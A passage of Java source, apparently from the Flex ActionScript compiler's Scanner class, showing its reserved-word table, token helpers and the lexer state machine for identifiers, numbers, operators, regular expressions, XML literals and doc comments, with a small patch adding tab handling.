{FALSE_TOKEN,FINALLY_TOKEN,FOR_TOKEN,FUNCTION_TOKEN}, {GET_TOKEN}, {},//h {IF_TOKEN,IMPLEMENTS_TOKEN,IMPORT_TOKEN,IN_TOKEN,INCLUDE_TOKEN,INSTANCEOF_TOKEN,INTERFACE_TOKEN,IS_TOKEN}, {},//j {},//k {},//l {},//m {NAMESPACE_TOKEN,NEW_TOKEN,NULL_TOKEN}, {},//o {PACKAGE_TOKEN,PRIVATE_TOKEN,PROTECTED_TOKEN,PUBLIC_TOKEN}, {},//q {RETURN_TOKEN}, {SET_TOKEN,SUPER_TOKEN,SWITCH_TOKEN}, {THIS_TOKEN,THROW_TOKEN,TRUE_TOKEN,TRY_TOKEN,TYPEOF_TOKEN}, {USE_TOKEN}, {VAR_TOKEN,VOID_TOKEN}, {WHILE_TOKEN,WITH_TOKEN}, {},//x {},//y {}//z }; private final int screen_rsvd() { char c; int row; int row_length; int text_length = input.markLength(); int i,j; if ( text_length < 2 ) return 0; c = input.markCharAt(0); assert(c >= 'a' && c <= 'z'); row = (int) c - 'a'; assert(row >= 0 && row < rsvd.length); row_length = rsvd[row].length; for (i = 0; i < row_length; i++ ) { if ( rsvd[row][i].length() != text_length ) continue; for ( j = 1; j < text_length; j++ ) { c = input.markCharAt(j); if ( c != rsvd[row][i].charAt(j) ) break; } if ( j == text_length ) return rsvd_token[row][i]; } return 0; } private static final ConcurrentHashMap<String,Integer> reservedWord; static { reservedWord = new ConcurrentHashMap<String,Integer>(64); reservedWord.put("as",AS_TOKEN); // ??? predicated on HAS_ASOPERATOR reservedWord.put("break",BREAK_TOKEN); reservedWord.put("case",CASE_TOKEN); reservedWord.put("catch",CATCH_TOKEN); reservedWord.put("class",CLASS_TOKEN); reservedWord.put("const",CONST_TOKEN); reservedWord.put("continue",CONTINUE_TOKEN); reservedWord.put("default",DEFAULT_TOKEN); reservedWord.put("delete",DELETE_TOKEN); reservedWord.put("do",DO_TOKEN); reservedWord.put("else",ELSE_TOKEN); reservedWord.put("extends",EXTENDS_TOKEN); reservedWord.put("false",FALSE_TOKEN); reservedWord.put("finally",FINALLY_TOKEN); reservedWord.put("for",FOR_TOKEN); reservedWord.put("function",FUNCTION_TOKEN); reservedWord.put("get",GET_TOKEN); reservedWord.put("if",IF_TOKEN); reservedWord.put("implements",IMPLEMENTS_TOKEN); reservedWord.put("import",IMPORT_TOKEN); reservedWord.put("in",IN_TOKEN); reservedWord.put("include",INCLUDE_TOKEN); reservedWord.put("instanceof",INSTANCEOF_TOKEN); reservedWord.put("interface",INTERFACE_TOKEN); reservedWord.put("is",IS_TOKEN); //??? predicated on HAS_ISOPERATOR reservedWord.put("namespace",NAMESPACE_TOKEN); reservedWord.put("new",NEW_TOKEN); reservedWord.put("null",NULL_TOKEN); reservedWord.put("package",PACKAGE_TOKEN); reservedWord.put("private",PRIVATE_TOKEN); reservedWord.put("protected",PROTECTED_TOKEN); reservedWord.put("public",PUBLIC_TOKEN); reservedWord.put("return",RETURN_TOKEN); reservedWord.put("set",SET_TOKEN); reservedWord.put("super",SUPER_TOKEN); reservedWord.put("switch",SWITCH_TOKEN); reservedWord.put("this",THIS_TOKEN); reservedWord.put("throw",THROW_TOKEN); reservedWord.put("true",TRUE_TOKEN); reservedWord.put("try",TRY_TOKEN); reservedWord.put("typeof",TYPEOF_TOKEN); reservedWord.put("use",USE_TOKEN); reservedWord.put("var",VAR_TOKEN); reservedWord.put("void",VOID_TOKEN); reservedWord.put("while",WHILE_TOKEN); reservedWord.put("with",WITH_TOKEN); } /* * Scanner constructors. */ private void init(Context cx, boolean save_comments) { ctx = cx; tokens = new ObjectList<Token>(2048); state = start_state; level = 0; slash_context.add(slashregexp_context); states = new IntList(); levels = new IntList(); slashcontexts = new ObjectList<IntList>(); this.save_comments = save_comments; } public Scanner(Context cx, InputStream in, String encoding, String origin){this(cx,in,encoding,origin,true);} public Scanner(Context cx, InputStream in, String encoding, String origin, boolean save_comments) { init(cx,save_comments); this.input = new InputBuffer(in, encoding, origin); cx.input = this.input; } public Scanner(Context cx, String in, String origin){this(cx,in,origin,true);} public Scanner(Context cx, String in, String origin, boolean save_comments) { init(cx,save_comments); this.input = new InputBuffer(in, origin); cx.input = this.input; } /** * This contructor is used by Flex direct AST generation. It * allows Flex to pass in a specialized InputBuffer. */ public Scanner(Context cx, InputBuffer input) { init(cx,true); this.input = input; cx.input = input; } /** * nextchar() --just fetch the next char */ private char nextchar() { return (char) input.nextchar(); } /* * retract() -- * Causes one character of input to be 'put back' onto the * que. [Test whether this works for comments and white space.] */ public void retract() { input.retract(); } /** * @return +1 from current char pos in InputBuffer */ private int pos() { return input.textPos(); } /** * set mark position */ private void mark() { input.textMark(); } /* * Various helper methods for managing and testing the * scanning context for slashes. */ public void enterSlashDivContext() { slash_context.add(slashdiv_context); } public void exitSlashDivContext() { slash_context.removeLast(); } public void enterSlashRegExpContext() { slash_context.add(slashregexp_context); } public void exitSlashRegExpContext() { slash_context.removeLast(); } public boolean isSlashDivContext() { return slash_context.last() == slashdiv_context; } public boolean isSlashRegexpContext() // ??? this method is not used. { return slash_context.last() == slashregexp_context; } /* * makeTokenInstance() -- * Make an instance of the specified token class using the lexeme string. * Return the index of the token which is its identifier. */ private int makeTokenInstance(int token_class, String lexeme) { tokens.add(new Token(token_class, lexeme)); return tokens.size() - 1; /* return the tokenid */ } /* * getTokenClass() -- * Get the class of a token instance. */ public int getTokenClass(int token_id) { // if the token id is negative, it is a token_class. if (token_id < 0) { return token_id; } // otherwise, get instance data from the instance vector. return tokens.get(token_id).getTokenClass(); } /* * getTokenText() -- * Get the text of a token instance. */ public String getTokenText(int token_id) { // if the token id is negative, it is a token_class. if (token_id < 0) { return Token.getTokenClassName(token_id); } // otherwise, get instance data from the instance vector. return tokens.get(token_id).getTokenText(); } /* * getStringTokenText * Get text of literal string token as well as info about whether it was single quoted or not * */ public String getStringTokenText( int token_id, boolean[] is_single_quoted ) { // if the token id is negative, it is a token_class. if( token_id < 0 ) { is_single_quoted[0] = false; return Token.getTokenClassName(token_id); } // otherwise, get tokenSourceText (which includes string delimiters) String fulltext = tokens.get( token_id ).getTokenSource(); is_single_quoted[0] = (fulltext.charAt(0) == '\'' ? true : false); String enclosedText = fulltext.substring(1, fulltext.length() - 1); return enclosedText; } /* * Record an error. */ private void error(int kind, String arg, int tokenid) { StringBuilder out = new StringBuilder(); String origin = this.input.origin; int errPos = input.positionOfMark(); // note use of source adjusted position int ln = input.getLnNum(errPos); int col = input.getColPos(errPos); String msg = (ContextStatics.useVerboseErrors ? "[Compiler] Error #" + kind + ": " : "") + ctx.errorString(kind); if(debug) { msg = "[Scanner] " + msg; } int nextLoc = Context.replaceStringArg(out, msg, 0, arg); if (nextLoc != -1) // append msg remainder after replacement point, if any out.append(msg.substring(nextLoc, msg.length())); ctx.localizedError(origin,ln,col,out.toString(),input.getLineText(errPos), kind); skiperror(kind); } private void error(String msg) { ctx.internalError(msg); error(kError_Lexical_General, msg, ERROR_TOKEN); } private void error(int kind) { error(kind, "", ERROR_TOKEN); } /* * skip ahead after an error is detected. this simply goes until the next * whitespace or end of input. */ private void skiperror() { skiperror(kError_Lexical_General); } private void skiperror(int kind) { //Debugger::trace("skipping error\n"); switch (kind) { case kError_Lexical_General: //while ( true ) //{ // char nc = nextchar(); // //Debugger::trace("nc " + nc); // if( nc == ' ' || // nc == '\n' || // nc == 0 ) // { // return; // } //} return; case kError_Lexical_LineTerminatorInSingleQuotedStringLiteral: case kError_Lexical_LineTerminatorInDoubleQuotedStringLiteral: while (true) { char nc = nextchar(); if (nc == '\'' || nc == 0) { return; } } case kError_Lexical_SyntaxError: default: while (true) { char nc = nextchar(); if (nc == ';' || nc == '\n' || nc == '\r' || nc == 0) { return; } } } } /* * * */ public boolean followsLineTerminator() { if (debug) { System.out.println("isFirstTokenOnLine = " + isFirstTokenOnLine); } return isFirstTokenOnLine; } /* * * */ public int state; public int level; public IntList states; public IntList levels; public ObjectList<IntList> slashcontexts; public void pushState() { states.add(state); levels.add(level); IntList temp = new IntList(slash_context); slashcontexts.add(temp); state = start_state; level = 0; slash_context.clear(); enterSlashRegExpContext(); } public void popState() { exitSlashRegExpContext(); // only necessary to do the following assert if (slash_context.size() != 0) { assert(false); // throw "internal error"; } state = states.removeLast(); level = levels.removeLast(); slash_context = slashcontexts.removeLast(); } private StringBuilder getDocTextBuffer(String doctagname) { StringBuilder doctextbuf = new StringBuilder(); doctextbuf.append("<").append(doctagname).append("><![CDATA["); return doctextbuf; } private String getXMLText(int begin, int end) { int len = (end-begin)+1; String xmltext = null; if( len > 0 ) { xmltext = input.copy(begin,end); } return xmltext; } public void clearUnusedBuffers() { // input.clearUnusedBuffers(); input = null; } /* * * */ public int nexttoken(boolean resetState) { String xmltagname = null, doctagname = "description"; StringBuilder doctextbuf = null; int startofxml = pos(); StringBuilder blockcommentbuf = null; char regexp_flags =0; // used to track option flags encountered in a regexp expression. Initialized in regexp_state boolean maybe_reserved = false; if (resetState) { isFirstTokenOnLine = false; } while (true) { if (debug) { System.out.println("state = " + state + ", next = " + pos()); } switch (state) { case start_state: { int c = nextchar(); mark(); switch (c) { case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'g': case 'h': case 'i': case 'j': case 'k': case 'l': case 'm': case 'n': case 'o': case 'p': case 'q': case 'r': case 's': case 't': case 'u': case 'v': case 'w': case 'x': case 'y': case 'z': maybe_reserved = true; case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': case 'G': case 'H': case 'I': case 'J': case 'K': case 'L': case 'M': case 'N': case 'O': case 'P': case 'Q': case 'R': case 'S': case 'T': case 'U': case 'V': case 'W': case 'X': case 'Y': case 'Z': case '_': case '$': state = A_state; continue; case 0xffffffef: state = utf8sig_state; continue; case '@': return AMPERSAND_TOKEN; case '\'': case '\"': { char startquote = (char) c; boolean needs_escape = false; while ( (c=nextchar()) != startquote ) { if ( c == '\\' ) { needs_escape = true; c = nextchar(); // special case: escaped eol strips crlf or lf if ( c == '\r' ) c = nextchar(); if ( c == '\n' ) continue; } else if ( c == '\r' || c == '\n' ) { if ( startquote == '\'' ) error(kError_Lexical_LineTerminatorInSingleQuotedStringLiteral); else error(kError_Lexical_LineTerminatorInDoubleQuotedStringLiteral); break; } else if ( c == 0 ) { error(kError_Lexical_EndOfStreamInStringLiteral); return EOS_TOKEN; } } return makeTokenInstance(STRINGLITERAL_TOKEN, input.copy(needs_escape)); } case '-': // tokens: -- -= - switch (nextchar()) { case '-': return MINUSMINUS_TOKEN; case '=': return MINUSASSIGN_TOKEN; default: retract(); return MINUS_TOKEN; } case '!': // tokens: ! != !=== switch (nextchar()) { case '=': switch (nextchar()) { case '=': return STRICTNOTEQUALS_TOKEN; default: retract(); return NOTEQUALS_TOKEN; } default: retract(); return NOT_TOKEN; } case '%': // tokens: % %= switch (nextchar()) { case '=': return MODULUSASSIGN_TOKEN; default: retract(); return MODULUS_TOKEN; } case '&': // tokens: & &= && &&= switch (nextchar()) { case '&': switch (nextchar()) { case '=': return LOGICALANDASSIGN_TOKEN; default: retract(); return LOGICALAND_TOKEN; } case '=': return BITWISEANDASSIGN_TOKEN; default: retract(); return BITWISEAND_TOKEN; } case '#': if (HAS_HASHPRAGMAS) { return USE_TOKEN; } else { state = error_state; continue; } // # is short for use case '(': return LEFTPAREN_TOKEN; case ')': return RIGHTPAREN_TOKEN; case '*': // tokens: *= * switch (nextchar()) { case '=': return MULTASSIGN_TOKEN; default: retract(); return MULT_TOKEN; } case ',': return COMMA_TOKEN; case '.': state = dot_state; continue; case '/': state = slash_state; continue; case ':': // tokens: : :: switch (nextchar()) { case ':': return DOUBLECOLON_TOKEN; default: retract(); return COLON_TOKEN; } case ';': return SEMICOLON_TOKEN; case '?': return QUESTIONMARK_TOKEN; case '[': return LEFTBRACKET_TOKEN; case ']': return RIGHTBRACKET_TOKEN; case '^': state = bitwisexor_state; continue; case '{': return LEFTBRACE_TOKEN; case '|': // tokens: | |= || ||= switch (nextchar()) { case '|': switch (nextchar()) { case '=': return LOGICALORASSIGN_TOKEN; default: retract(); return LOGICALOR_TOKEN; } case '=': return BITWISEORASSIGN_TOKEN; default: retract(); return BITWISEOR_TOKEN; } case '}': return RIGHTBRACE_TOKEN; case '~': return BITWISENOT_TOKEN; case '+': // tokens: ++ += + switch (nextchar()) { case '+': return PLUSPLUS_TOKEN; case '=': return PLUSASSIGN_TOKEN; default: retract(); return PLUS_TOKEN; } case '<': state = lessthan_state; continue; case '=': // tokens: === == = switch (nextchar()) { case '=': switch (nextchar()) { case '=': return STRICTEQUALS_TOKEN; default: retract(); return EQUALS_TOKEN; } default: retract(); return ASSIGN_TOKEN; } case '>': state = greaterthan_state; continue; case '0': state = zero_state; continue; case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimalinteger_state; continue; case ' ': // White space - case 0x0009: + case '\t': case 0x000b: case 0x000c: case 0x00a0: continue; case '\n': // Line terminators. case '\r': case 0x2028: case 0x2029: isFirstTokenOnLine = true; continue; case 0: return EOS_TOKEN; default: switch (input.classOfNext()) { case Lu: case Ll: case Lt: case Lm: case Lo: case Nl: maybe_reserved = false; state = A_state; continue; default: state = error_state; continue; } } } /* * prefix: <letter> */ case A_state: while ( true ){ int c = nextchar(); if ( c >= 'a' && c <= 'z' ) { continue; } if ( (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') || c == '$' || c == '_' ){ maybe_reserved = false; continue; } if ( c == 0 ) { break; } switch (input.classOfNext()) { case Lu: case Ll: case Lt: case Lm: case Lo: case Nl: case Mn: case Mc: case Nd: case Pc: maybe_reserved = false; continue; } break; } retract(); state = start_state; String s = input.copy(); if ( maybe_reserved ) { Integer i = reservedWord.get(s); if ( i != null ) return (int) i; //int r = screen_rsvd(); //if ( r != 0 ) // return r; } //String s = input.copy(); return makeTokenInstance(IDENTIFIER_TOKEN,s); /* * prefix: 0 * accepts: 0x... | 0X... | 01... | 0... | 0 */ case zero_state: switch (nextchar()) { case 'x': case 'X': switch(nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': state = hexinteger_state; break; default: state = start_state; error(kError_Lexical_General); } continue; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case '.': state = decimalinteger_state; continue; case 'E': case 'e': state = exponentstart_state; continue; case 'd': case 'm': case 'i': case 'u': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: 0x<hex digits> * accepts: 0x123f */ case hexinteger_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': state = hexinteger_state; continue; case 'u': case 'i': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance( NUMBERLITERAL_TOKEN, input.copy() ); default: retract(); state = start_state; return makeTokenInstance( NUMBERLITERAL_TOKEN, input.copy() ); } /* * prefix: . * accepts: .123 | . */ case dot_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimal_state; continue; case '.': state = doubledot_state; continue; case '<': state = start_state; return DOTLESSTHAN_TOKEN; default: retract(); state = start_state; return DOT_TOKEN; } /* * accepts: .. */ case doubledot_state: state = start_state; if ( nextchar() == '.' ) return TRIPLEDOT_TOKEN; retract(); return DOUBLEDOT_TOKEN; /* * prefix: N * accepts: 0.123 | 1.23 | 123 | 1e23 | 1e-23 */ case decimalinteger_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimalinteger_state; continue; case '.': state = decimal_state; continue; case 'd': case 'm': case 'u': case 'i': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); case 'E': case 'e': state = exponentstart_state; continue; default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: N. * accepts: 0.1 | 1e23 | 1e-23 */ case decimal_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimal_state; continue; case 'd': case 'm': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); case 'E': case 'e': state = exponentstart_state; continue; default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: ..e * accepts: ..eN | ..e+N | ..e-N */ case exponentstart_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case '+': case '-': state = exponent_state; continue; default: error(kError_Lexical_General); state = start_state; continue; // Issue: needs specific error here. } /* * prefix: ..e * accepts: ..eN | ..e+N | ..e-N */ case exponent_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = exponent_state; continue; case 'd': case 'm': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: / */ case slash_state: switch (nextchar()) { case '/': if (blockcommentbuf == null) blockcommentbuf = new StringBuilder(); state = linecomment_state; continue; case '*': if (blockcommentbuf == null) blockcommentbuf = new StringBuilder(); blockcommentbuf.append("/*"); state = blockcommentstart_state; continue; default: { retract(); // since we didn't use the current character for this decision. if (isSlashDivContext()) { state = slashdiv_state; } else { state = slashregexp_state; } continue; } } /* * tokens: / /= */ case slashdiv_state: state = start_state; switch (nextchar()) { case '>': return XMLTAGENDEND_TOKEN; case '=': return DIVASSIGN_TOKEN; default: retract(); return DIV_TOKEN; } /* * tokens: /<regexpbody>/<regexpflags> */ case slashregexp_state: switch (nextchar()) { case '\\': nextchar(); continue; case '/': regexp_flags = 0; state = regexp_state; continue; case 0: case '\n': case '\r': error(kError_Lexical_General); state = start_state; continue; default: state = slashregexp_state; continue; } /* * tokens: g | i | m | s | x . Note that s and x are custom extentions to match perl's functionality * Also note we handle this via an array of boolean flags intead of state change logic. * (5,1) + (5,2) + (5,3) + (5,4) + (5,5) is just too many states to handle this via state logic */ case regexp_state: switch ( nextchar() ) { case 'g': if ((regexp_flags & 0x01) == 0) { regexp_flags |= 0x01; continue; } error(kError_Lexical_General); state = start_state; continue; case 'i': if ((regexp_flags & 0x02) == 0) { regexp_flags |= 0x02; continue; } error(kError_Lexical_General); state = start_state; continue; case 'm': if ((regexp_flags & 0x04) == 0) { regexp_flags |= 0x04; continue; } error(kError_Lexical_General); state = start_state; continue; case 's': if ((regexp_flags & 0x08) == 0) { regexp_flags |= 0x08; continue; } error(kError_Lexical_General); state = start_state; continue; case 'x': if ((regexp_flags & 0x10) == 0) { regexp_flags |= 0x10; continue; } error(kError_Lexical_General); state = start_state; continue; case 'A': case 'a': case 'B': case 'b': case 'C': case 'c': case 'D': case 'd': case 'E': case 'e': case 'F': case 'f': case 'G': case 'H': case 'h': case 'I': case 'J': case 'j': case 'K': case 'k': case 'L': case 'l': case 'M': case 'N': case 'n': case 'O': case 'o': case 'P': case 'p': case 'Q': case 'q': case 'R': case 'r': case 'S': case 'T': case 't': case 'U': case 'u': case 'V': case 'v': case 'W': case 'w': case 'X': case 'Y': case 'y': case 'Z': case 'z': case '$': case '_': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': error(kError_Lexical_General); state = start_state; continue; default: retract(); state = start_state; return makeTokenInstance( REGEXPLITERAL_TOKEN, input.copy(false) ); } /* * tokens: ^^ ^^= ^= ^ */ case bitwisexor_state: switch (nextchar()) { case '=': state = start_state; return BITWISEXORASSIGN_TOKEN; /* not yet supported case '^': state = logicalxor_state; continue; */ default: retract(); state = start_state; return BITWISEXOR_TOKEN; } /* * tokens: ^^ ^= ^ */ case logicalxor_state: switch (nextchar()) { case '=': state = start_state; return LOGICALXORASSIGN_TOKEN; default: retract(); state = start_state; return LOGICALXOR_TOKEN; } /* * prefix: < */ case lessthan_state: if( isSlashDivContext() ) { switch (nextchar()) { case '<': state = leftshift_state; continue; case '=': state = start_state; return LESSTHANOREQUALS_TOKEN; case '/': state = start_state; return XMLTAGSTARTEND_TOKEN; case '!': state = xmlcommentorcdatastart_state; continue; case '?': state = xmlpi_state; continue; default: retract(); state = start_state; return LESSTHAN_TOKEN; } } else { switch ( nextchar() ) { case '/': state = start_state; return XMLTAGSTARTEND_TOKEN; case '!': state = xmlcommentorcdatastart_state; continue; case '?': state = xmlpi_state; continue; default: retract(); state = start_state; return LESSTHAN_TOKEN; } } /* * prefix: <! */ case xmlcommentorcdatastart_state: switch ( nextchar() ) { case '[': state = xmlcdatastart_state; continue; case '-': state = xmlcommentstart_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatastart_state: switch ( nextchar() ) { case 'C': state = xmlcdatac_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatac_state: switch ( nextchar() ) { case 'D': state = xmlcdatacd_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacd_state: switch ( nextchar() ) { case 'A': state = xmlcdatacda_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacda_state: switch ( nextchar() ) { case 'T': state = xmlcdatacdat_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacdat_state: switch ( nextchar() ) { case 'A': state = xmlcdatacdata_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacdata_state: switch ( nextchar() ) { case '[': state = xmlcdata_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdata_state: switch ( nextchar() ) { case ']': state = xmlcdataendstart_state; continue; case 0: error(kError_Lexical_General); state = start_state; continue; default: state = xmlcdata_state; continue; } case xmlcdataendstart_state: switch ( nextchar() ) { case ']': state = xmlcdataend_state; continue; default: state = xmlcdata_state; continue; } case xmlcdataend_state: switch ( nextchar() ) { case '>': { state = start_state; return makeTokenInstance(XMLMARKUP_TOKEN,getXMLText(startofxml,pos()-1)); } default: state = xmlcdata_state; continue; } case xmlcommentstart_state: switch ( nextchar() ) { case '-': state = xmlcomment_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcomment_state: switch ( nextchar() ) { case '-': state = xmlcommentendstart_state; continue; case 0: error(kError_Lexical_General); state = start_state; continue; default: state = xmlcomment_state; continue; } case xmlcommentendstart_state: switch ( nextchar() ) { case '-': state = xmlcommentend_state; continue; default: state = xmlcomment_state; continue; } case xmlcommentend_state: switch ( nextchar() ) { case '>': { state = start_state; return makeTokenInstance(XMLMARKUP_TOKEN,getXMLText(startofxml,pos()-1)); } default: error(kError_Lexical_General); state = start_state; continue; } case xmlpi_state: switch ( nextchar() ) { case '?': state = xmlpiend_state; continue; case 0: error(kError_Lexical_General); state = start_state; continue; default: state = xmlpi_state; continue; } case xmlpiend_state: switch ( nextchar() ) { case '>': { state = start_state; return makeTokenInstance(XMLMARKUP_TOKEN,getXMLText(startofxml,pos()-1)); } default: error(kError_Lexical_General); state = start_state; continue; } case xmltext_state: { switch(nextchar()) { case '<': case '{': { retract(); String xmltext = getXMLText(startofxml,pos()-1); if( xmltext != null ) { state = start_state; return makeTokenInstance(XMLTEXT_TOKEN,xmltext); } else // if there is no leading text, then just return puncutation token to avoid empty text tokens { switch(nextchar()) { case '<': switch( nextchar() ) { case '/': state = start_state; return XMLTAGSTARTEND_TOKEN; case '!': state = xmlcommentorcdatastart_state; continue; case '?': state = xmlpi_state; continue; default: retract(); state = start_state; return LESSTHAN_TOKEN; } case '{': state = start_state; return LEFTBRACE_TOKEN; } } } case 0: state = start_state; return EOS_TOKEN; default: state = xmltext_state; continue; } } case xmlliteral_state: switch (nextchar()) { case '{': // return XMLPART_TOKEN { String xmltext = input.copy(startofxml, pos()-2); return makeTokenInstance(XMLPART_TOKEN, xmltext); } case '<': switch (nextchar()) { case '/': --level; nextchar(); mark(); retract(); state = endxmlname_state; continue; default: ++level; state = xmlliteral_state; continue; } case '/': { switch (nextchar()) { case '>': { --level; if (level == 0) { String xmltext = input.copy(startofxml, pos()); state = start_state; return makeTokenInstance(XMLLITERAL_TOKEN, xmltext); } // otherwise continue state = xmlliteral_state; continue; } default: /*error(kError_Lexical_General);*/ state = xmlliteral_state; continue; // keep going anyway } } case 0: retract(); error(kError_Lexical_NoMatchingTag); state = start_state; continue; default: continue; } case endxmlname_state: // scan name and compare it to start name switch (nextchar()) { case 'A': case 'a': case 'B': case 'b': case 'C': case 'c': case 'D': case 'd': case 'E': case 'e': case 'F': case 'f': case 'G': case 'g': case 'H': case 'h': case 'I': case 'i': case 'J': case 'j': case 'K': case 'k': case 'L': case 'l': case 'M': case 'm': case 'N': case 'n': case 'O': case 'o': case 'P': case 'p': case 'Q': case 'q': case 'R': case 'r': case 'S': case 's': case 'T': case 't': case 'U': case 'u': case 'V': case 'v': case 'W': case 'w': case 'X': case 'x': case 'Y': case 'y': case 'Z': case 'z': case '$': case '_': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case ':': { // stop looking for matching tag if the names diverge String temp = input.copy(); if (xmltagname != null && xmltagname.indexOf(temp) == -1) { state = xmlliteral_state; //level -= 2; } else { state = endxmlname_state; } continue; } case '{': // return XMLPART_TOKEN { if (xmltagname != null) // clear xmltagname since there is an expression in it. { xmltagname = null; } String xmltext = input.copy(startofxml, pos()-2); return makeTokenInstance(XMLPART_TOKEN, xmltext); } case '>': { retract(); String temp = input.copy(); nextchar(); if (level == 0) { if (xmltagname != null) { if (temp.equals(xmltagname)) { String xmltext = input.copy(startofxml, pos()); state = start_state; return makeTokenInstance(XMLLITERAL_TOKEN, xmltext); } } else { String xmltext = input.copy(startofxml, pos()); state = start_state; return makeTokenInstance(XMLLITERAL_TOKEN, xmltext); } } state = xmlliteral_state; continue; } default: state = xmlliteral_state; continue; } /* * tokens: <<= << */ case leftshift_state: switch (nextchar()) { case '=': state = start_state; return LEFTSHIFTASSIGN_TOKEN; default: retract(); state = start_state; return LEFTSHIFT_TOKEN; } /* * prefix: > */ case greaterthan_state: if( isSlashDivContext() ) { switch ( nextchar() ) { case '>': state = rightshift_state; break; case '=': state = start_state; return GREATERTHANOREQUALS_TOKEN; //default: retract(); state = start_state; return greaterthan_token; default: retract(); state = start_state; return GREATERTHAN_TOKEN; } } else { state = start_state; return GREATERTHAN_TOKEN; } /* * prefix: >> >>> >>>= */ case rightshift_state: state = start_state; switch (nextchar()) { case '>': switch (nextchar()) { case '=': return UNSIGNEDRIGHTSHIFTASSIGN_TOKEN; default: retract(); return UNSIGNEDRIGHTSHIFT_TOKEN; } case '=': return RIGHTSHIFTASSIGN_TOKEN; default: retract(); return RIGHTSHIFT_TOKEN; } /* * prefix: /* */ case blockcommentstart_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '*': if ( nextchar() == '/' ){ state = start_state; return makeTokenInstance( BLOCKCOMMENT_TOKEN, new String()); } retract(); state = doccomment_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; case '\n': case '\r': isFirstTokenOnLine = true; default: state = blockcomment_state; continue; } } /* * prefix: /** */ case doccomment_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '*': state = doccommentstar_state; continue; case '@': if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); if( doctagname.length() > 0 ) { doctextbuf.append("]]></").append(doctagname).append(">"); }; doctagname = ""; state = doccommenttag_state; continue; case '\r': case '\n': isFirstTokenOnLine = true; if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); doctextbuf.append('\n'); state = doccomment_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); doctextbuf.append((char)(c)); state = doccomment_state; continue; } } case doccommentstar_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '/': { if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); if( doctagname.length() > 0 ) { doctextbuf.append("]]></").append(doctagname).append(">"); }; String doctext = doctextbuf.toString(); state = start_state; return makeTokenInstance(DOCCOMMENT_TOKEN,doctext); } case '*': state = doccommentstar_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = doccomment_state; continue; // if not a slash, then keep looking for an end comment. } } /* * prefix: @ */ case doccommenttag_state: { int c = nextchar(); switch ( c ) { case '*': state = doccommentstar_state; continue; - case ' ': case '\r': case '\n': + case ' ': case '\t': case '\r': case '\n': { if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); if( doctagname.length() > 0 ) { doctextbuf.append("\n<").append(doctagname).append("><![CDATA["); }; state = doccomment_state; continue; } case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: doctagname += (char)(c); state = doccommenttag_state; continue; } } /* * prefix: /** */ case doccommentvalue_state: switch ( nextchar() ) { case '*': state = doccommentstar_state; continue; case '@': state = doccommenttag_state; continue; case '\r': case '\n': state = doccomment_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = doccomment_state; continue; } /* * prefix: /* */ case blockcomment_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '*': state = blockcommentstar_state; continue; case '\r': case '\n': isFirstTokenOnLine = true; state = blockcomment_state; 